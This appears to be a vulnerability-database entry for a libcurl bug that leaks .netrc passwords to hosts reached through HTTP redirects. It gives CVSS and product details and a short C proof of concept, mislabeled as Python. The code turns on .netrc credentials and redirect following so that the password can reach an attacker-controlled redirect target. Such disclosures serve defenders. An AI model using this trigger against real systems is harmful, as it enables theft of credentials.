When asked to both use a `.netrc` file for credentials and to follow HTTP
redirects, libcurl could leak the password used for the first host to the
followed-to host under certain circumstances.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
Configurations (Affected Products)
cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:* - VULNERABLE
libcurl (具体受影响版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURL *curl = curl_easy_init();
if(curl) {
// Target URL that redirects to an attacker-controlled server
curl_easy_setopt(curl, CURLOPT_URL, "http://trusted.example.com/login");
// Enable loading credentials from .netrc file
curl_easy_setopt(curl, CURLOPT_NETRC, CURL_NETRC_REQUIRED);
// Specify path to .netrc if needed, otherwise default is used
// curl_easy_setopt(curl, CURLOPT_NETRC_FILE, "/path/to/.netrc");
// Enable following HTTP redirects (3xx codes)
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
// Perform the request
// In a vulnerable version, the password for 'trusted.example.com'
// found in .netrc might be sent to the redirect target.
CURLcode res = curl_easy_perform(curl);
if(res != CURLE_OK)
fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res));
curl_easy_cleanup(curl);
}
return 0;
}